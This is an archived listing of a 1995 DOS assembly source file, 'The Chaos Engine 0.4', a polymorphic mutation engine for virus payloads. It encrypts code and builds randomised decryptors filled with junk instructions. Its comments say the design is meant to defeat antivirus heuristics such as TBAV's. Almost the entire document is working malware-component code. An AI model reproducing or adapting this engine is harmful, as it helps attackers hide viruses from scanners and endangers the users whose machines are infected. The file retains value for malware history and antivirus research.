home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / TCE-04.ZIP / TCE.ASM
Encoding:
Assembly Source File  |  1995-12-13  |  21.0 KB  |  863 lines

  1.         radix   16
  2.  
  3. ;*****************************************
  4. ;* T.H.E - C.H.A.O.S - E.N.G.I.N.E - 0.4 *
  5. ;*****************************************
  6. ;1995 - Sepultura - Australia
  7. ;;
  8. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  9. ;;;on CALLing of TCE -
  10. ;;;AX = TCE Flags:1 - Pad To DECRYPTOR_LENGTH.
  11. ;;;               2 - Make Short Decryptor (No Junk).
  12. ;;;               4 - Add Segment Overide.
  13. ;;;
  14. ;;;CX = Length of Code to Encrypt.
  15. ;;;DX = Delta Offset.
  16. ;;;DS:SI = Code to encrypt (DS _MUST_ = CS).
  17. ;;;ES:DI = Location of Buffer to Create Decryptor in.
  18. ;;;
  19. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  20. ;;;ON RETURN:
  21. ;;;ES = DS = Segment of Decryptor / Encrypted Code
  22. ;;;DX = Pointer to Start of Code
  23. ;;;CX = Length of Code
  24. ;;;;;;;;;;;;;;;;;;;
  25. ;;;Flag EQUates
  26.  
  27. MAKE_SMALL      equ     1
  28. PAD_TO_MAX      equ     2
  29. ADD_SEG         equ     4
  30.  
  31. ;;;;;;;;;;;;;;;;;;;
  32. ;;;W.H.A.T.E.V.E.R
  33.  
  34. DECRYPTOR_LENGTH        equ     190h
  35. MAX_PADDING             equ     90h - 1f
  36. length_1                equ     (offset int_tbl - offset one_byters)-1
  37.  
  38. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  39. ;;;REGISTER TABLE - INTEL STANDLE FORMAT
  40.  
  41. tce_AX                   equ    0000xB
  42. tce_CX                   equ    0001xB
  43. tce_DX                   equ    0010xB
  44. tce_BX                   equ    0011xB
  45. tce_SP                   equ    0100xB
  46. tce_BP                   equ    0101xB
  47. tce_SI                   equ    0110xB
  48. tce_DI                   equ    0111xB
  49.  
  50. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  51. ;;;THe BeLoW InSTuCTiOn CaN KilL A MaN
  52.  
  53. db      '[TCE-0.4]',0
  54.  
  55. ;*****************************************************
  56. ;*****************************************************
  57. ;*** The REAL _REAL_ START of THE CHAOS ENGINE 0.4 ***
  58. ;*****************************************************
  59. ;*****************************************************
  60.  
  61. tce:    push    ax,bx,bp
  62.         push    di,si
  63.  
  64.         cld
  65.  
  66.         mov     tce_begin,di
  67.         mov     tce_delta,dx
  68.         mov     c_length,cx
  69.         mov     tce_flags,ax
  70.         call    clear_regs
  71.         mov     B index_sub,0
  72.  
  73.         mov     B[offset more_junk],0b0
  74.         test    W tce_flags,MAKE_SMALL
  75.         if nz   mov B[offset more_junk],0c3
  76.  
  77.         push    si
  78.         call    get_rand_1f
  79.         add     ax,MAX_PADDING
  80.         xchg    cx,ax
  81.         call    more_junk
  82.  
  83. swap0:  mov     si,offset init_1
  84.         lodsw
  85.         call    binary
  86.         jz      no_swap1
  87.         xchg    ax,[si]
  88.         mov     [si-2],ax
  89.  
  90. no_swap1:
  91.         push    ax
  92.         lodsw
  93.         call    binary
  94.         jnz     no_swap2
  95.         xchg    ax,[si]
  96.         mov     [si-2],ax
  97.  
  98. no_swap2:
  99.         push    ax
  100.         lodsw
  101.         lodsw
  102.         call    binary
  103.         jz      build_code
  104.         xchg    ax,[si]
  105.         mov     [si-2],ax
  106.  
  107. build_code:
  108.         pop     ax
  109.         call    ax
  110.         call    pad_10
  111.         pop     ax
  112.         call    ax
  113.         call    pad_10
  114.         call    W init_3
  115.         call    pad_10
  116.         call    gen_decrypt
  117.         call    pad_8
  118.         call    W init_4
  119.         call    pad_8
  120.         call    W init_5
  121.         call    pad_10
  122.         call    gen_loop
  123.         call    pad_8
  124.  
  125.         test    W tce_flags,PAD_TO_MAX
  126.         jz      no_padding
  127.  
  128.         mov     B[offset more_junk],0b0
  129.         mov     cx,DECRYPTOR_LENGTH
  130.         add     cx,tce_begin
  131.         sub     cx,di
  132.         call    more_junk
  133.  
  134. no_padding:
  135.         mov     ax,di
  136.         sub     ax,DECRYPTOR_LENGTH
  137.         add     enc_index,ax
  138.         mov     bx,W index_loc
  139.         cmp     B index_sub,1
  140.         if e    neg ax
  141.         add     es:[bx],ax
  142.  
  143.         pop     si
  144.         mov     cx,c_length
  145.         rep     movsb
  146.         mov     dx,tce_begin
  147.         mov     ds,es
  148.         call    encryptor
  149.         mov     cx,di
  150.         sub     cx,dx
  151.  
  152.         pop     si,di
  153.         pop     bp,bx,ax
  154.         ret
  155.  
  156. init_count:                     ;Initialises Count Register..
  157.         call    get_unused_reg  ;Make Count Initialiser in Encryptor and
  158.         cmp     al,tce_DX
  159.         je      init_count
  160.         mov     count_reg,al    ;Decryptor
  161.         mov     bx,W c_length
  162.         shr     bx,1
  163.         mov     W enc_length,bx
  164.         call    gen_mov_reg
  165.         ret
  166.  
  167. init_index:                     ;Initialises Index Register..
  168.         mov     ax,0ff          ;Makes Index Initialiser in Encryptor and
  169.         call    get_rand        ;Decryptor..
  170.         push    ax
  171.         call    get_rand_7
  172.         pop     ax
  173.         if z    xor ax,ax
  174.         mov     B index_off,al
  175.         mov     bx,DECRYPTOR_LENGTH
  176.         add     bx, tce_begin
  177.         mov     W enc_index,bx
  178.         add     bx, tce_delta
  179.         cbw
  180.         sub     bx,ax
  181.  
  182. get_index:
  183.         call    get_unused_reg
  184.         cmp     al,tce_BX
  185.         jb      get_index
  186.         mov     W index_num,ax
  187.         mov     B index_reg,al
  188.         mov     B index_set,1
  189.         call    gen_mov_reg
  190.         mov     B index_set,0
  191.         ret
  192.  
  193. gen_decrypt:                    ;generates DECRYPTOR / ENCRYPTOR instruction
  194.         mov     W loop_start,di
  195.         call    pad_8
  196.         mov     bl,B key_reg
  197.         sal     bl,3
  198.         call    get_rand_2
  199.         add     ax,ax
  200.         add     ax,offset enc_table
  201.         xchg    si,ax
  202.         lodsw
  203.         call    binary
  204.         if z    xchg ah,al
  205.         push    ax
  206.         cmp     si,offset enc_table + 2
  207.         jne     no_carry_set
  208.         mov     al,0f8
  209.         call    binary
  210.         if z    inc ax
  211.         mov     B enc_cf,al
  212.         stosb
  213.  
  214. no_carry_set:
  215.         test    W tce_flags,ADD_SEG
  216.         jz      no_seg_set
  217.         mov     al,2e
  218.         stosb
  219.  
  220. no_seg_set:
  221.         pop     ax
  222.         stosb
  223.         mov     B enc_loop,ah
  224.         mov     si,W index_num
  225.  
  226.         cmp     B index_reg,tce_BP
  227.         je      encryptor_has_offset
  228.         cmp     B index_off,0
  229.         jne     encryptor_has_offset
  230.         push    ax
  231.         call    get_rand_7
  232.         pop     ax
  233.         jz      encryptor_has_offset
  234.         add     si,index_tab_c
  235.         lodsb
  236.         or      al,bl
  237.         stosb
  238.         ret
  239.  
  240. encryptor_has_offset:
  241.         add     si,index_tab_b
  242.         lodsb
  243.         or      al,bl
  244.         mov     ah,B index_off
  245.         or      al,bl
  246.         stosw
  247.         xchg    al,ah
  248.         cbw
  249.         call binary
  250.         jnz     ret
  251.         mov     al,ah
  252.         stosb
  253.         add     es:B[di-3],40
  254.         ret
  255.  
  256. modify_key:                     ;Modify Key: XOR/ADD/SUB key_reg,xxxx
  257.         call    get_rand_7
  258.         jz      no_mod_key
  259.         call    get_rand_2
  260.         add     ax,offset modify_table
  261.         xchg    si,ax
  262.         lodsb
  263.         mov     ah,al
  264.         mov     al,81
  265.         mov     W enc_mod_op,ax
  266.         or      ah,B key_reg
  267.         stosw
  268.         call    get_any_rand
  269.         stosw
  270.  
  271. no_mod_key:
  272.         mov     W enc_mod_val,ax
  273.  
  274.         ret
  275.  
  276. inc_index:                      ;increase index by 2..
  277.         call    binary          ;1 in 2 chance of ADD reg,2/SUB reg,-2
  278.         jz      add_sub_index
  279.  
  280.         mov     al,B index_reg
  281.         or      al,40
  282.         stosb
  283.         call    pad_8
  284.         stosb
  285.         ret
  286.  
  287. add_sub_index:
  288.         mov     al,83
  289.         stosb
  290.         mov     ah,2
  291.         mov     al,B index_reg
  292.         or      al,0c0
  293.  
  294.         call    binary
  295.         jnz     put_add_sub_index
  296.  
  297.         neg     ah
  298.         or      al,0e8
  299.  
  300. put_add_sub_index:
  301.         stosw
  302.         ret
  303.  
  304. gen_loop:
  305.         mov     al,B count_reg
  306.         cmp     al,tce_CX
  307.         jne     not_CX
  308.  
  309.         push    ax
  310.         call    get_rand_7
  311.         pop     ax
  312.         jz      not_CX
  313.  
  314.         lea     bx,[di+2]
  315.         mov     ax,W loop_start
  316.         sub     ax,bx
  317.         mov     ah,0e2
  318.         call    binary
  319.         jnz     no_loop_nz
  320.         xchg    bp,ax
  321.         jmp     short do_loop_nz
  322.  
  323. no_loop_nz:
  324.         xchg    ah,al
  325.         stosw
  326.         ret
  327.  
  328. not_CX: xchg    bx,ax
  329.  
  330.         call    binary
  331.         jz      count_add_sub
  332.  
  333.         mov     al,48
  334.         or      al,bl
  335.         stosb
  336.         jmp     short zero_test
  337.  
  338.  
  339. count_add_sub:
  340.         mov     al,83
  341.         stosb
  342.         mov     ah,-1
  343.         mov     al,bl
  344.         or      al,0c0
  345.  
  346.         call    binary
  347.         jnz     put_add_sub_count
  348.  
  349.         neg     ah
  350.         or      al,0e8
  351.  
  352. put_add_sub_count:
  353.         stosw
  354.         xor     bp,bp
  355.         push    ax
  356.         call    get_rand_7
  357.         pop     ax
  358.         jz      nloop_nz
  359.  
  360. zero_test:
  361.         call    pad_10
  362.         xor     bp,bp
  363. do_loop_nz:
  364.         mov     al,B count_reg
  365.         mov     bl,al
  366.         sal     al,3
  367.         or      al,bl
  368.         xchg    ah,al
  369.         mov     bh,ah
  370.         call    get_rand_2
  371.         add     ax,offset zero_test_a
  372.         xchg    si,ax
  373.         lodsb
  374.         mov     ah,bh
  375.         or      ah,0c0
  376.         stosw
  377.  
  378. nloop_nz:
  379.         lea     bx,[di+2]
  380.         mov     ax,W loop_start
  381.         sub     ax,bx
  382.         or      bp,bp
  383.         jnz     loop_nz
  384.         mov     ah,075
  385.         call    binary
  386.         jnz     nnnn
  387.         mov     B es:[di],0f8
  388.         inc     di
  389.         sub     ax,0fe01
  390.         db      0a9
  391.  
  392. loop_nz:mov     ah,0e0
  393.  
  394.  
  395. nnnn:   xchg    ah,al
  396.         stosw
  397.         ret
  398.  
  399. init_key:
  400.         call    get_any_rand
  401.         mov     W enc_key,ax
  402.         xchg    bx,ax
  403.         call    get_unused_reg
  404.         mov     B key_reg,al
  405.  
  406. gen_mov_reg:
  407.         call    binary
  408.         jz      lea_mov
  409.  
  410.         or      al,0b8
  411.         stosb
  412.         xchg    ax,bx
  413.         jmp     short put_mov_b
  414.  
  415. lea_mov:call    binary
  416.         jz      zero_then_add
  417.  
  418.         sal     al,3
  419.         or      al,06
  420.         mov     ah,8d
  421.         xchg    ah,al
  422.         stosw
  423.         xchg    ax,bx
  424.         jmp     short put_mov_b
  425.  
  426. zero_then_add:          ;Zero Register (XOR/SUB reg,reg)
  427.         push    bx      ;Then OR/XOR/ADD Value
  428.         push    ax      ;or SUB -Value
  429.         mov     ah,0c0
  430.         or      ah,al
  431.         sal     al,3
  432.         or      ah,al
  433.         mov     al,29
  434.         call    binary
  435.         if z    mov al,31
  436.         stosw
  437.         call    pad_10
  438.         pop     bx
  439.         call    get_rand_2
  440.         add     ax,offset value_from_0
  441.         xchg    si,ax
  442.         lodsb
  443.         call    binary
  444.         jz      zero_then_sub
  445.  
  446.         or      al,bl
  447.         mov     ah,81
  448.         xchg    ah,al
  449.         stosw
  450.         pop     ax
  451.  
  452. put_mov_b:
  453.         cmp    B index_set,01
  454.         if e   mov W index_loc,di
  455.         stosw
  456.         ret
  457.  
  458. zero_then_sub:
  459.         cmp     B index_set,01
  460.         if e    mov     B index_sub,1
  461.         mov     al,0e8
  462.         or      al,bl
  463.         mov     ah,81
  464.         xchg    ah,al
  465.         stosw
  466.         pop     ax
  467.         neg     ax
  468.         jmp     short put_mov_b
  469.  
  470. pad_8:  push    ax              ;Sub Procedure to Pad Between 1 and 8 bytes
  471.         call    get_rand_7
  472.         inc     ax
  473.         jmp     short padder
  474.  
  475. pad_10: push    ax
  476.         call    get_rand_1f     ;Sub Procedure to Pad Between 8 and 16 bytes
  477.         or      al,8
  478. padder: xchg    cx,ax
  479.         call    more_junk
  480.         pop     ax
  481.         ret
  482.  
  483.  
  484. more_junk:
  485.         mov     al,03
  486.         call    get_rand_b
  487.         jnz     mj0
  488.  
  489.         mov     B [offset code_jmp],083 ;Re-Enable Jumps
  490.         mov     ax,cx                   ;else normal filler junk (1 in 16)
  491.         cmp     ax,40
  492.         if a    mov al,40
  493.         call    get_rand_b
  494.         xchg    bx,ax
  495.         call    fill_jnk
  496.         jmp     short mj2
  497.  
  498. mj0:                                    ;8 in 16 chance of some type of jump
  499.         call    code_jmp
  500.  
  501.  
  502. mj2:    jcxz    ret
  503.         jmp     short more_junk
  504.  
  505.  
  506. one_byte:                       ;GENERATES A ONE BYTE JUNK INSTRUCTION
  507.         jcxz    ret
  508.         mov     si,one_byters   ;FROM one_byters TABLE
  509.         mov     al,length_1
  510.         call    get_rand_b
  511.         add     si,ax
  512.         movsb
  513.         dec     cx
  514.         dec     bx
  515.         ret
  516.  
  517. reg_op: call    get_rand_7      ;ANY OP unused_reg16,reg16..
  518.         sal     al,3
  519.         or      al,3
  520.         xchg    dx,ax
  521.         call    get_unused_reg
  522.         sal     al,3
  523.         mov     dh,al
  524.         call    get_rand_7
  525. do_op:  or      dh,al
  526.         or      dh,0c0
  527.         xchg    dx,ax
  528. put_2:  cmp     bx,2
  529.         jb      one_byte
  530.         stosw
  531.         dec     cx,2
  532.         dec     bx,2
  533.         ret
  534.  
  535.  
  536. lea_reg:call    get_rand_7      ;LEA unused_reg,[BP/BX/SI/DI]
  537.         cmp     al,6
  538.         je      lea_reg
  539.  
  540.         xchg    dx,ax
  541.         call    get_unused_reg
  542.         sal     al,3
  543.         or      al,dl
  544.         mov     ah,08d
  545.         xchg    ah,al
  546.  
  547.         jmp     short put_2
  548.  
  549. op_ax:  call    get_any_rand
  550.         and     al,8
  551.         or      al,5
  552.         and     ah,3
  553.         shr     ah,4
  554.         or      al,ah
  555.  
  556. put_3:  cmp     bx,3
  557.         jb      reg_op
  558.         stosb
  559.         call    get_any_rand
  560. put_3b: stosw
  561.         sub     cx,3
  562.         sub     bx,3
  563.         ret
  564.  
  565. mov_reg:call    get_unused_reg  ;MOV unused_reg16,xxxx
  566.         or      al,0b8
  567.         jmp     short put_3
  568.  
  569.  
  570. op_reg_im:                      ;cmp/add/sub/adc/sbb/or/xor/and reg16,imm16
  571.         cmp     bx,4
  572.         jb      op_ax
  573.         call    get_unused_reg
  574.         mov     ah,81
  575.         xchg    dx,ax
  576.         call    get_rand_7
  577.         sal     al,3
  578.         or      ax,dx
  579.         xchg    ah,al
  580.         or      ah,0c0
  581.         stosw
  582.         call    get_any_rand
  583.         stosw
  584.         sub     bx,4
  585.         sub     cx,4
  586.         ret
  587.  
  588.  
  589. code_jmp:
  590.         cmp     cx,3
  591.         jb      ret
  592.  
  593.         mov     B [offset code_jmp],0c3 ;Disable Jumps.This ensures Unchained
  594.                                         ;(TBAV-J) and helps stops heuristics
  595.         call    get_any_rand            ;else conditional jmp
  596.         and     ax,1f0f                 ;between 4 and 43 bytse jmp length
  597.         add     ah,4
  598.         or      al,70                   ;conditional jmp instructions are 70
  599.                                         ;--> 7f
  600.         push    ax
  601.         call    get_rand_1f
  602.         pop     ax
  603.         if z    mov al,0e3
  604.         xor     bx,bx
  605.         mov     bl,ah
  606.  
  607.         dec     cx,2
  608.         cmp     bx,cx
  609.         jb      put_jmp
  610.         mov     bx,cx
  611.         mov     ah,bl
  612.  
  613. put_jmp:stosw
  614.  
  615. fill_jnk:
  616.         or      bx,bx
  617.         jz      ret
  618.  
  619.         mov     al,((offset binary - offset junk_tbl)/2)-1
  620.         call    get_rand_b
  621.         add     ax,ax
  622.         add     ax,offset junk_tbl
  623.         xchg    si,ax
  624.         lodsw
  625.         call    ax
  626.         jmp     short fill_jnk
  627.  
  628.  
  629. pp_reg:                  ;generate PUSH reg / junk / POP reg
  630.         cmp     bx,3
  631.         jb      gen_int
  632.  
  633.         lea     ax,[bx-2]
  634.         shr     ax,1
  635.         call    get_rand
  636.         xchg    ax,dx
  637.         call    get_rand_7
  638.         or      al,50
  639.         stosb
  640.         dec     cx
  641.         dec     bx
  642.         push    ax
  643.         xchg    dx,ax
  644.         sub     bx,ax
  645.         push    bx
  646.         xchg    bx,ax
  647.         call    fill_jnk
  648.         pop     bx
  649.         pop     ax
  650.  
  651.         call    binary
  652.         jz      use_same
  653.         call    get_unused_reg
  654.         or      al,50
  655.  
  656. use_same:
  657.         or      al,8
  658.         stosb
  659.         dec     cx
  660.         dec     bx
  661.         ret
  662.  
  663.  
  664. gen_int:cmp     bx,4
  665.         jb      ret
  666.  
  667.         call    get_rand_2
  668.  
  669.         add     ax,ax
  670.         add     ax,offset int_tbl
  671.         xchg    si,ax
  672.         lodsw
  673.         mov     dx,0cdb4
  674.         xchg    al,dl
  675.         stosw
  676.         xchg    dx,ax
  677.         xchg    ah,al
  678.         stosw
  679.         sub     cx,4
  680.         sub     bx,4
  681.         ret
  682.  
  683. junk_tbl:       dw      offset  op_reg_im
  684.                 dw      offset  op_reg_im
  685.                 dw      offset  op_reg_im
  686.                 dw      offset  gen_int
  687.                 dw      offset  gen_int
  688.                 dw      offset  pp_reg
  689.                 dw      offset  pp_reg
  690.                 dw      offset  reg_op
  691.                 dw      offset  reg_op
  692.                 dw      offset  lea_reg
  693.                 dw      offset  lea_reg
  694.                 dw      offset  mov_reg
  695.                 dw      offset  op_ax
  696.                 dw      offset  one_byte
  697.  
  698. binary: push    ax
  699.         mov     al,1
  700.         call    get_rand_b
  701.         pop     ax
  702.         ret
  703.  
  704. get_rand_2:
  705.         mov     al,2
  706.         db      0a9
  707.  
  708. get_rand_7:
  709.         mov     al,7
  710.         db      0a9
  711.  
  712. get_rand_1f:
  713.         mov     al,1f
  714.         db      0a9
  715.  
  716. get_any_rand:                   ;return rnd number in AX between 0 and FFFE
  717.         mov     al,0fe
  718.  
  719. get_rand_b:
  720.         cbw
  721.  
  722. get_rand:                       ;returns random number in AX between 0 and AX
  723.         push    cx,dx
  724.         inc     ax
  725.         push    ax
  726.         in      ax,40
  727.         xchg    cx,ax
  728.         in      ax,40
  729.         rol     ax,cl
  730.         xchg    cx,ax
  731.         in      ax,40
  732.         xor     ax,cx
  733.         adc     ax,1234
  734.         org     $-2
  735. last_rand       dw      0AAAA
  736.         mov     last_rand,ax
  737.         pop     cx
  738.         xor     dx,dx
  739.         cmp     cx,1
  740.         adc     cx,0
  741.         div     cx
  742.         xchg    dx,ax
  743.         or      ax,ax
  744.         pop     dx,cx
  745.         ret
  746.  
  747. one_byters:     cmc                     ;15 1 byte junk instructions
  748.                 cld
  749.                 std
  750.                 in      ax,dx
  751.                 in      al,dx
  752.                 lahf
  753.                 cbw
  754.                 nop
  755.                 aaa
  756.                 aas
  757.                 daa
  758.                 das
  759.                 inc     ax
  760.                 dec     ax
  761.                 xlat
  762.  
  763.  
  764. int_tbl:        dw      0116    ;AH=01,INT16: Check Keyboard Buffer..
  765.                 dw      0216    ;AH=02,INT16: Get Keyboard States..
  766.                 dw      4d21    ;AH=4D,INT21: Get Program Terminate Status..
  767.                 dw      4d21    ;AH=4D,INT21: Get Program Terminate Status..
  768.                 dw      0d10    ;AH=0D,INT10: Get Video Info..
  769.                 dw      0b21    ;AH=0B,INT21: Check Keyboard Buffer..
  770.                 dw      002a
  771.                 dw      002a
  772.  
  773.  
  774. clear_regs:     cwd
  775.                 mov     B index_reg,dl      ;Clears Register Tables
  776.                 mov     B key_reg,dl        ;(All Regs Free)..
  777.                 mov     B count_reg,dl
  778.                 ret
  779.  
  780. get_unused_reg: call    get_rand_7      ;Return an Unused Register..
  781.                 test    al,NOT tce_SP   ;But _NOT_ SP, or AX.
  782.                 jz      get_unused_reg
  783.                 cmp     al,index_reg
  784.                 je      get_unused_reg
  785.                 cmp     al,count_reg
  786.                 je      get_unused_reg
  787.                 cmp     al,B key_reg
  788.                 je      get_unused_reg
  789.                 ret
  790.  
  791.  
  792. ;**********************************************
  793. ;* The Encryptor (Built along with Decryptor) *
  794. ;**********************************************
  795. encryptor:      mov     cx,1234
  796.                 org     $-2
  797. enc_length      dw      0
  798.  
  799.                 mov     bx,1234
  800.                 org     $-2
  801. enc_index       dw      0
  802.  
  803.                 mov     ax,1234
  804.                 org     $-2
  805. enc_key         dw      0
  806.  
  807. enc_cf:         nop
  808. enc_loop:       xor     [bx],ax
  809.  
  810. enc_mod_op      dw      0
  811. enc_mod_val     dw      0
  812.  
  813.                 inc     bx,2
  814.                 loop    enc_cf
  815.                 ret
  816.  
  817. ;****************************
  818. ;* Data / Variables / Flags *
  819. ;****************************
  820.  
  821. init_1  dw      offset init_count
  822. init_2  dw      offset init_key
  823. init_3  dw      offset init_index
  824.  
  825. init_4  dw      offset inc_index
  826. init_5  dw      offset modify_key
  827.  
  828. ;* The Below is A table of Values to Be Used To Choose *
  829. ;* The Count Register, The Index Register, and The Reg *
  830. ;* to   save  SP   in   During   the  Decryptor   Loop *
  831. ;                             BX   BP SI DI     ;This Table is used To Build
  832. index_tab_b:    db      0,0,0,47,0,46,44,45     ;The Decryptor Instruction
  833. index_tab_c:    db      0,0,0,7,0,0,4,5         ;Same As Above
  834. ;                       SBB ADC XOR XOR ADD SUB
  835. enc_table:      db      19, 11, 31, 31, 01, 29  ;The Decryptor Opcodes..
  836.  
  837. ;                       AND OR TEST
  838. zero_test_a:    db      21, 09,85
  839.  
  840. ;                       SUB                     ;Opcodes to Modify the Key
  841. modify_table:   db      0e8                     ;Register
  842. ;                       ADD XOR OR              ;Opcode to get A value
  843. value_from_0:   db      0c0,0f0,0c8             ;from 0.
  844.  
  845. loop_start      dw      0       ;Postion for LOOP to Jump to..
  846.  
  847. index_num       dw      0
  848. index_off       db      0       ;OFFSET of INDEX reference (i.e: [SI+XX]).
  849. index_loc       dw      0       ;location in ES of index reference set
  850. index_sub       db      0       ;Was index_reg set using 0 the sub -value?
  851.  
  852. index_reg       db      0       ;Table of Used Registers..
  853. count_reg       db      0       ;used in GET_UNUSED_REG
  854. key_reg         db      0
  855. index_set       db      0
  856.  
  857. tce_flags       dw      0       ;Engines Flags
  858. tce_delta       dw      0       ;Delta Offset
  859. tce_begin       dw      0       ;Beginning
  860. c_length        dw      0
  861. end_tce:
  862.  
  863.